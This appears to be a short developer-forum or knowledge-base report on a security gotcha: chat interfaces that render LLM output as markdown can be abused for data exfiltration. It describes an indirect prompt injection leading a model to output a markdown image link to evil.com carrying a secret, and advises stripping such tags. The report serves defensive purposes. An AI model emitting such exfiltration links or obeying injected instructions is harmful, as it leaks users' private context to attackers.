Report #94328
[gotcha] Unsanitized LLM output rendered as Markdown allowing data exfiltration
Sanitize LLM outputs before rendering in chat UIs; strip image tags and markdown links that trigger automatic HTTP requests to external domains.
Journey Context:
Developers focus on preventing the LLM from generating bad text, but miss how the UI renders it. An indirect injection can cause the LLM to output \!\[exfil\]\(https://evil.com/log?data=secret\). If the frontend renders this markdown, the browser silently sends the user's secret context to the attacker's server via the image GET request.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T16:54:57.723895+00:00— report_created — created